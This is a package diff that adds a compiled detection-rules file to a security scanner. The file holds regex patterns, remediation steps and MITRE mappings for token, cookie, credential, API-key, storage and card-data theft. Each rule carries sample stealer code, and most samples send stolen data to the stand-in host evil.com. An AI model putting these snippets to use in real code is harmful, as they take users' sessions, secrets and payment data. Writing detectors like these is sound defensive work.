secure-scan 1.2.2

package/dist/rules/malware/categories/exfiltration.js

@@ -0,0 +1,658 @@
+"use strict";
+/**
+ * @fileoverview Data Exfiltration and Credential Theft Detection Rules
+ * @module rules/malware/categories/exfiltration
+ *
+ * Comprehensive rules for detecting data theft including:
+ * - Token stealers (JWT, OAuth, API keys)
+ * - Cookie stealers
+ * - Credential harvesters
+ * - localStorage/sessionStorage theft
+ * - Sensitive data exfiltration
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.exfiltrationRules = exports.sensitiveDataRules = exports.storageTheftRules = exports.credentialHarvesterRules = exports.cookieStealerRules = exports.tokenStealerRules = void 0;
+const types_1 = require("../types");
+// ============================================================================
+// TOKEN STEALER RULES
+// ============================================================================
+exports.tokenStealerRules = [
+    {
+        id: 'MAL-EXFIL-001',
+        name: 'Token Stealer - JWT Exfiltration',
+        description: 'Detects code that extracts and exfiltrates JWT tokens.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.TOKEN_STEALER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 88,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'jwt-extract-exfil',
+                pattern: '(?:localStorage|sessionStorage)\\.getItem\\s*\\([^)]*(?:token|jwt|auth)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'JWT extraction from storage with network call'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'auth-header-exfil',
+                pattern: 'Authorization[\'"]?\\s*:\\s*[\'"]?Bearer\\s+[\\s\\S]*?(?:fetch|post|send)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Authorization header exfiltration'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'jwt-regex-capture',
+                pattern: 'eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+',
+                flags: 'g',
+                weight: 0.5,
+                description: 'Hardcoded JWT pattern'
+            }
+        ],
+        amplifyingPatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'external-endpoint',
+                pattern: 'https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[a-z0-9.-]+',
+                flags: 'gi',
+                weight: 0.4,
+                description: 'External endpoint'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const token = localStorage.getItem('jwt_token');
+if (token) {
+  fetch('https://evil.com/collect', {
+    method: 'POST',
+    body: JSON.stringify({ token, origin: location.origin })
+  });
+}`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'JWT token theft and exfiltration'
+            }
+        ],
+        impact: {
+            technical: 'Steals authentication tokens enabling session hijacking.',
+            business: 'Account takeover, unauthorized access to user data.',
+            affectedAssets: ['User sessions', 'Authentication tokens'],
+            dataAtRisk: ['User accounts', 'Session data', 'API access']
+        },
+        remediation: {
+            summary: 'Remove token stealing code and rotate all affected tokens.',
+            steps: [
+                'Remove the malicious code',
+                'Invalidate all existing tokens',
+                'Implement token rotation',
+                'Add CSP to prevent data exfiltration',
+                'Consider using httpOnly cookies instead of localStorage'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
+                tacticName: 'Credential Access',
+                techniqueId: 'T1528',
+                techniqueName: 'Steal Application Access Token',
+                url: 'https://attack.mitre.org/techniques/T1528/'
+            }
+        ],
+        tags: ['token-stealer', 'jwt', 'authentication', 'critical'],
+        enabled: true
+    },
+    {
+        id: 'MAL-EXFIL-002',
+        name: 'Token Stealer - OAuth Token Theft',
+        description: 'Detects OAuth token extraction and exfiltration patterns.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.TOKEN_STEALER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT, types_1.SupportedLanguage.PYTHON],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 90,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'oauth-token-exfil',
+                pattern: '(?:access_token|refresh_token|oauth_token)[\\s\\S]*?(?:fetch|XMLHttpRequest|requests\\.post)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'OAuth token exfiltration'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'url-fragment-token',
+                pattern: 'location\\.hash[\\s\\S]*?access_token[\\s\\S]*?(?:fetch|post|send)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'URL fragment token extraction'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'oauth-callback-intercept',
+                pattern: '(?:oauth|callback|redirect)[\\s\\S]*?(?:code|token)\\s*=\\s*[^&\\s]+[\\s\\S]*?(?:fetch|http)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'OAuth callback interception'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const hash = new URLSearchParams(location.hash.slice(1));
+const accessToken = hash.get('access_token');
+if (accessToken) {
+  navigator.sendBeacon('/collect', JSON.stringify({ access_token: accessToken }));
+}`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'OAuth implicit flow token theft'
+            }
+        ],
+        impact: {
+            technical: 'Steals OAuth tokens from redirect flows.',
+            business: 'Third-party account compromise and data access.',
+            affectedAssets: ['OAuth tokens', 'Third-party integrations'],
+            dataAtRisk: ['Connected accounts', 'API access']
+        },
+        remediation: {
+            summary: 'Remove OAuth token theft code and revoke compromised tokens.',
+            steps: [
+                'Remove malicious token handling code',
+                'Revoke OAuth tokens through provider',
+                'Use PKCE for OAuth flows',
+                'Validate redirect URIs strictly'
+            ]
+        },
+        tags: ['token-stealer', 'oauth', 'critical'],
+        enabled: true
+    }
+];
+// ============================================================================
+// COOKIE STEALER RULES
+// ============================================================================
+exports.cookieStealerRules = [
+    {
+        id: 'MAL-EXFIL-010',
+        name: 'Cookie Stealer - Document.cookie Exfiltration',
+        description: 'Detects exfiltration of cookies via document.cookie.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.COOKIE_STEALER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.CONFIRMED,
+        baseScore: 92,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'cookie-fetch',
+                pattern: 'document\\.cookie[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Cookie with fetch/XHR'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'cookie-image',
+                pattern: '(?:new\\s+Image\\s*\\(\\s*\\)|document\\.createElement\\s*\\([\'"]img[\'"]\\))[\\s\\S]*?\\.src\\s*=[\\s\\S]*?document\\.cookie',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Cookie via image beacon'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'cookie-beacon',
+                pattern: 'navigator\\.sendBeacon\\s*\\([^)]*document\\.cookie',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Cookie via sendBeacon'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'cookie-websocket',
+                pattern: 'WebSocket[\\s\\S]*?send\\s*\\([^)]*document\\.cookie',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Cookie via WebSocket'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'cookie-redirect',
+                pattern: 'location(?:\\.href)?\\s*=\\s*[^;]*\\+\\s*document\\.cookie',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Cookie via redirect'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Classic cookie stealer via image'
+            },
+            {
+                code: `fetch('https://evil.com/log', {
+  method: 'POST',
+  body: JSON.stringify({
+    cookies: document.cookie,
+    url: location.href
+  })
+});`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Cookie exfiltration via fetch'
+            }
+        ],
+        impact: {
+            technical: 'Steals session cookies enabling session hijacking.',
+            business: 'Account takeover without credentials.',
+            affectedAssets: ['Session cookies', 'Authentication state'],
+            dataAtRisk: ['User sessions', 'Authenticated access']
+        },
+        remediation: {
+            summary: 'Remove cookie stealing code and implement cookie protections.',
+            steps: [
+                'Remove the malicious code',
+                'Set HttpOnly flag on sensitive cookies',
+                'Set Secure flag for HTTPS',
+                'Implement SameSite cookie attribute',
+                'Deploy Content Security Policy'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
+                tacticName: 'Credential Access',
+                techniqueId: 'T1539',
+                techniqueName: 'Steal Web Session Cookie',
+                url: 'https://attack.mitre.org/techniques/T1539/'
+            }
+        ],
+        tags: ['cookie-stealer', 'session-hijacking', 'xss', 'critical'],
+        enabled: true
+    }
+];
+// ============================================================================
+// CREDENTIAL HARVESTER RULES
+// ============================================================================
+exports.credentialHarvesterRules = [
+    {
+        id: 'MAL-EXFIL-020',
+        name: 'Credential Harvester - Form Data Theft',
+        description: 'Detects patterns for harvesting credentials from forms.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.CREDENTIAL_STEALER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 90,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'password-field-grab',
+                pattern: 'querySelector\\s*\\([^)]*type\\s*=\\s*[\'"]password[\'"][^)]*\\)[\\s\\S]*?\\.value[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Password field value extraction'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'input-values-collect',
+                pattern: 'querySelectorAll\\s*\\([\'"]input[\'"]\\)[\\s\\S]*?value[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Mass input collection'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'credentials-object',
+                pattern: '\\{[^}]*(?:username|email|password|credential)[^}]*\\}[\\s\\S]*?(?:fetch|post|send)',
+                flags: 'gis',
+                weight: 0.7,
+                description: 'Credentials object exfiltration'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const email = document.querySelector('input[type="email"]').value;
+const password = document.querySelector('input[type="password"]').value;
+fetch('https://evil.com/creds', {
+  method: 'POST',
+  body: JSON.stringify({ email, password, site: location.host })
+});`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Direct credential field extraction'
+            }
+        ],
+        impact: {
+            technical: 'Harvests credentials directly from login forms.',
+            business: 'Direct credential theft leading to account compromise.',
+            affectedAssets: ['User credentials', 'Login forms'],
+            dataAtRisk: ['Usernames', 'Passwords', 'Email addresses']
+        },
+        remediation: {
+            summary: 'Remove credential harvesting code and audit form handling.',
+            steps: [
+                'Remove malicious form handlers',
+                'Audit all form submit listeners',
+                'Implement CSP to prevent exfiltration',
+                'Consider virtual keyboards for sensitive input'
+            ]
+        },
+        tags: ['credential-theft', 'form-grabber', 'critical'],
+        enabled: true
+    },
+    {
+        id: 'MAL-EXFIL-021',
+        name: 'Credential Harvester - API Key Theft',
+        description: 'Detects patterns for stealing API keys and secrets.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.CREDENTIAL_STEALER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.TYPESCRIPT,
+            types_1.SupportedLanguage.PYTHON
+        ],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 82,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'api-key-exfil',
+                pattern: '(?:api[-_]?key|api[-_]?secret|secret[-_]?key)\\s*[=:]\\s*[\'"][^\'"]+[\'"][\\s\\S]*?(?:fetch|requests|http)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'API key with network call'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'env-var-exfil',
+                pattern: 'process\\.env\\.[A-Z_]+(?:KEY|SECRET|TOKEN)[\\s\\S]*?(?:fetch|request|http)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Environment variable key exfiltration'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'config-secrets-exfil',
+                pattern: '(?:config|settings|secrets)\\.[a-z]+(?:Key|Secret|Token)[\\s\\S]*?(?:post|send|fetch)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Config secrets exfiltration'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const secrets = {
+  awsKey: process.env.AWS_ACCESS_KEY_ID,
+  awsSecret: process.env.AWS_SECRET_ACCESS_KEY,
+  stripeKey: process.env.STRIPE_SECRET_KEY
+};
+fetch('https://evil.com/keys', { method: 'POST', body: JSON.stringify(secrets) });`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Environment secrets exfiltration'
+            }
+        ],
+        impact: {
+            technical: 'Steals API keys providing access to external services.',
+            business: 'Cloud service compromise, financial loss, data breach.',
+            affectedAssets: ['API credentials', 'Cloud services'],
+            dataAtRisk: ['Cloud resources', 'Third-party service access']
+        },
+        remediation: {
+            summary: 'Remove API key theft code and rotate all exposed keys.',
+            steps: [
+                'Remove malicious code',
+                'Rotate all potentially exposed API keys',
+                'Audit environment variable access',
+                'Implement secrets management solution'
+            ]
+        },
+        tags: ['api-key', 'secrets', 'credential-theft', 'high'],
+        enabled: true
+    }
+];
+// ============================================================================
+// STORAGE THEFT RULES
+// ============================================================================
+exports.storageTheftRules = [
+    {
+        id: 'MAL-EXFIL-030',
+        name: 'Storage Theft - LocalStorage/SessionStorage Exfiltration',
+        description: 'Detects bulk exfiltration of browser storage data.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.DATA_EXFILTRATION,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 78,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'localstorage-dump',
+                pattern: 'Object\\.(?:keys|entries)\\s*\\(\\s*localStorage\\s*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'LocalStorage dump and exfil'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'storage-iterate',
+                pattern: 'for\\s*\\([^)]*localStorage[^)]*\\)[\\s\\S]*?(?:fetch|send|post)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'LocalStorage iteration with exfil'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'json-stringify-storage',
+                pattern: 'JSON\\.stringify\\s*\\([^)]*(?:localStorage|sessionStorage)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Storage serialization and exfil'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const storageData = {};
+for (let i = 0; i < localStorage.length; i++) {
+  const key = localStorage.key(i);
+  storageData[key] = localStorage.getItem(key);
+}
+fetch('https://evil.com/storage', {
+  method: 'POST',
+  body: JSON.stringify(storageData)
+});`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Complete localStorage exfiltration'
+            }
+        ],
+        impact: {
+            technical: 'Exfiltrates all browser storage data.',
+            business: 'Theft of cached credentials, preferences, and application state.',
+            affectedAssets: ['Browser storage', 'Cached data'],
+            dataAtRisk: ['Tokens', 'User preferences', 'Application data']
+        },
+        remediation: {
+            summary: 'Remove storage theft code and audit storage usage.',
+            steps: [
+                'Remove malicious code',
+                'Audit what data is stored in browser storage',
+                'Encrypt sensitive storage data',
+                'Implement CSP'
+            ]
+        },
+        tags: ['localstorage', 'exfiltration', 'data-theft', 'high'],
+        enabled: true
+    },
+    {
+        id: 'MAL-EXFIL-031',
+        name: 'Storage Theft - IndexedDB Exfiltration',
+        description: 'Detects exfiltration of IndexedDB data.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.DATA_EXFILTRATION,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 72,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'indexeddb-getall',
+                pattern: 'objectStore\\s*\\([^)]+\\)\\.getAll\\s*\\([\\s\\S]*?\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'IndexedDB getAll with exfil'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'indexeddb-cursor',
+                pattern: 'openCursor[\\s\\S]*?onsuccess[\\s\\S]*?(?:fetch|post|send)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'IndexedDB cursor iteration with exfil'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const request = indexedDB.open('userDB');
+request.onsuccess = (e) => {
+  const db = e.target.result;
+  const tx = db.transaction('credentials', 'readonly');
+  tx.objectStore('credentials').getAll().onsuccess = (e) => {
+    fetch('https://evil.com/db', { method: 'POST', body: JSON.stringify(e.target.result) });
+  };
+};`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'IndexedDB credentials exfiltration'
+            }
+        ],
+        impact: {
+            technical: 'Exfiltrates IndexedDB data which may contain sensitive cached information.',
+            business: 'Theft of offline-cached data and credentials.',
+            affectedAssets: ['IndexedDB', 'Offline data'],
+            dataAtRisk: ['Cached records', 'Offline credentials']
+        },
+        remediation: {
+            summary: 'Remove IndexedDB theft code and encrypt sensitive stored data.',
+            steps: [
+                'Remove malicious code',
+                'Audit IndexedDB usage',
+                'Encrypt sensitive IndexedDB data'
+            ]
+        },
+        tags: ['indexeddb', 'exfiltration', 'data-theft', 'high'],
+        enabled: true
+    }
+];
+// ============================================================================
+// SENSITIVE DATA EXFILTRATION RULES
+// ============================================================================
+exports.sensitiveDataRules = [
+    {
+        id: 'MAL-EXFIL-040',
+        name: 'Sensitive Data - PII Exfiltration',
+        description: 'Detects patterns that collect and exfiltrate personally identifiable information.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.DATA_EXFILTRATION,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT, types_1.SupportedLanguage.PYTHON],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 80,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'pii-collect',
+                pattern: '(?:ssn|social[-_]?security|credit[-_]?card|passport|driver[-_]?license)[\\s\\S]*?(?:fetch|post|send|requests)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'PII field collection with exfil'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'cc-pattern-exfil',
+                pattern: '\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[\\s\\S]*?(?:fetch|XMLHttpRequest)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Credit card pattern with exfil'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'financial-data',
+                pattern: '(?:bank[-_]?account|routing[-_]?number|iban|swift)[\\s\\S]*?(?:post|send|fetch)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Financial data exfiltration'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const ccData = {
+  number: document.getElementById('cc-number').value,
+  cvv: document.getElementById('cvv').value,
+  expiry: document.getElementById('expiry').value
+};
+fetch('https://evil.com/cc', { method: 'POST', body: JSON.stringify(ccData) });`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Credit card data exfiltration'
+            }
+        ],
+        impact: {
+            technical: 'Collects and exfiltrates sensitive personal and financial data.',
+            business: 'PCI compliance violation, identity theft, financial fraud.',
+            affectedAssets: ['Customer PII', 'Payment data'],
+            dataAtRisk: ['Credit cards', 'SSN', 'Financial records']
+        },
+        remediation: {
+            summary: 'Remove PII exfiltration code and implement data protection controls.',
+            steps: [
+                'Remove malicious code immediately',
+                'Notify affected users per compliance requirements',
+                'Implement tokenization for sensitive data',
+                'Add CSP and form protection'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.EXFILTRATION,
+                tacticName: 'Exfiltration',
+                techniqueId: 'T1041',
+                techniqueName: 'Exfiltration Over C2 Channel',
+                url: 'https://attack.mitre.org/techniques/T1041/'
+            }
+        ],
+        tags: ['pii', 'credit-card', 'data-theft', 'compliance', 'critical'],
+        enabled: true
+    }
+];
+// ============================================================================
+// EXPORT ALL EXFILTRATION RULES
+// ============================================================================
+exports.exfiltrationRules = [
+    ...exports.tokenStealerRules,
+    ...exports.cookieStealerRules,
+    ...exports.credentialHarvesterRules,
+    ...exports.storageTheftRules,
+    ...exports.sensitiveDataRules
+];
+exports.default = exports.exfiltrationRules;
+//# sourceMappingURL=exfiltration.js.map

package/dist/rules/malware/categories/exfiltration.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"exfiltration.js","sourceRoot":"","sources":["../../../../src/rules/malware/categories/exfiltration.ts"],"names":[],"mappings":"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